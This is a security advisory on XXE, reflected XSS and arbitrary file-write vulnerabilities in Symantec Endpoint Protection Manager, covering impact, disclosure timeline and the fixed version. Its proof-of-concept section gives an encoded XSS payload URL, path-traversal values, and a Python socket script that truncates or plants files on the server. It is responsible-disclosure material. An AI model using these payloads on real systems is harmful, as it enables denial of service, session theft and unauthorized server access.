SEC Consult Vulnerability Lab Security Advisory < 20141106-0 > ======================================================================= title: XXE & XSS & Arbitrary File Write vulnerabilities product: Symantec Endpoint Protection vulnerable version: 12.1.4023.4080 fixed version: 12.1.5 (RU 5) impact: Critical CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439 homepage: http://www.symantec.com found: 2014-07-01 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Symantec Endpoint Protection is a client-server solution that protects laptops, desktops, Windows and Mac computers, and servers in your network against malware. Symantec Endpoint Protection combines virus protection with advanced threat protection to proactively secure your computers against known and unknown threats. Symantec Endpoint Protection protects against malware such as viruses, worms, Trojan horses, spyware, and adware. It provides protection against even the most sophisticated attacks that evade traditional security measures, such as rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance and high power, Symantec Endpoint Protection communicates over your network to automatically safeguard for both physical systems and virtual systems against attacks." Source: https://www.symantec.com/endpoint-protection https://www.symantec.com/business/support/index?page=content&id=DOC6153 Business recommendation: ------------------------ Attackers are able to perform denial-of-service attacks against the Endpoint Protection Manager which directly impacts the effectiveness of the client-side endpoint protection. Furthermore, session identifiers of users can be stolen to impersonate them and gain unauthorized access to the server. All of these attacks can have a severe impact on the security infrastructure. An update to the latest version (12.1.5 RU 5) is highly recommended. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection (XXE) [CVE-2014-3437] Multiple XXE vulnerabilities were found in the Endpoint Protection Manager application. An attacker needs to perform MitM attacks to impersonate securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code. These vulnerabilities can be used to execute server side request forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service, file disclosure as well as attacks against functionality that is only exposed internally (see CVE-2013-5015 and issue #3). Note: The exploitation scenario proves that the previous command execution via SQL injection was exploitable for an external attacker with the ability to manipulate internet traffic _without any prior knowledge_ of the target system. 2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438] Endpoint Protection Manager suffers from a reflected cross-site scripting vulnerability, which allows an attacker to steal other users' sessions, to impersonate other users and to gain unauthorized access to the admin interface. 3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439] Arbitrary files can be written or overwritten by an unauthenticated attacker. The target file is truncated in the process which results in Denial of Service. However it might be possible to write files with arbitrary content nonetheless. Proof of concept: ----------------- 1) XML External Entity Injection (XXE) [CVE-2014-3437] The Symantec Protection Center component downloads XML files from http://securityresponse.symantec.com for information purposes. By impersonating securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an attacker can inject malicious XML code into the file contents and thus exploit XXE vulnerabilities. For example by offering the following XML code at the URL http://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml arbitrary files can be disclosed via the Symantec Protection Center login page at https://:8443/portal/Login.jsp =============================================================================== ]> &e; 1 =============================================================================== Server Side Request Forgery (SSRF) can be exploited like in the following example that sets the application log level to "log all messages" eg. via http://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml =============================================================================== ]> &e; =============================================================================== Furthermore some files can be exfiltrated to remote servers via the techniques described in: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf 2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438] At least the following URLs are vulnerable to XSS: https://:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg= https://:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b 3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439] A flaw in ConsoleServlet allows an attacker to specify the application server thread name via the ActionType parameter. As the thread name is used in the pattern that is passed to the java.util.logging.FileHandler constructor by the logging component (ServerLogger) an attacker can define the log file path. By causing an exception in the thread, the log file is written to disk. The following code snippet causes an exception by terminating the TCP connection before the server has finished writing the response to the socket. ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 causes the win.ini file to be truncated. =============================================================================== import socket import struct HOST = '' PORT = 9090 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) l_onoff = 1 l_linger = 0 s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger)) msg = '''GET /servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 HTTP/1.1 Host: SYMEPP EvilContent: ''' s.sendall(msg) s.shutdown(socket.SHUT_RD) =============================================================================== ActionType=/../../Inetpub/Reporting/evil.php%00 causes the (empty) file evil.php to be written into the Apache webroot. ActionType=/../../Inetpub/Reporting/evil.php causes the file evil-0.log to be written into the Apache webroot. If the application log level has been set to "DEBUG" (which can be achieved via XXE, see issue #1) the file content includes all headers passed in the HTTP request (including the EvilContent header in the example above). However the file will not be processed by PHP because of the .log extension. Due to the complex nature of the Windows filesystem addressing modes (legacy/DOS, ADS, etc.) it is entirely possible that this limitation can be bypassed. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Symantec Endpoint Protection version 12.1.4023.4080, which was the most recent version at the time of discovery. Vendor contact timeline: ------------------------ 2014-07-11: Initial contact to secure@symantec.com 2014-07-29: Ask for status at secure@symantec.com 2014-08-01: Conference call about status, extended grace period to 2014-10-31 September/October: Several discussions / rechecks of the vulnerabilities 2014-11-06: Coordinated release of the advisory Solution: --------- 1) XML External Entity Injection (XXE) [CVE-2014-3437] Update to version 12.1.5 RU 5 2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438] Update to version 12.1.5 RU 5 3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439] The update to version 12.1.5 RU 5 only partially mitigates the vulnerability. Path Traversal is no longer possible, which reduces the severity to low/medium. The vendor claims that it will be entirely solved in the next version (12.1.5 RU6). For further information see the security advisory of the vendor: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141105_00 Workaround: ----------- See Symantec security advisory for further mitigations. Advisory URL: -------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested in working with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehböck / @2014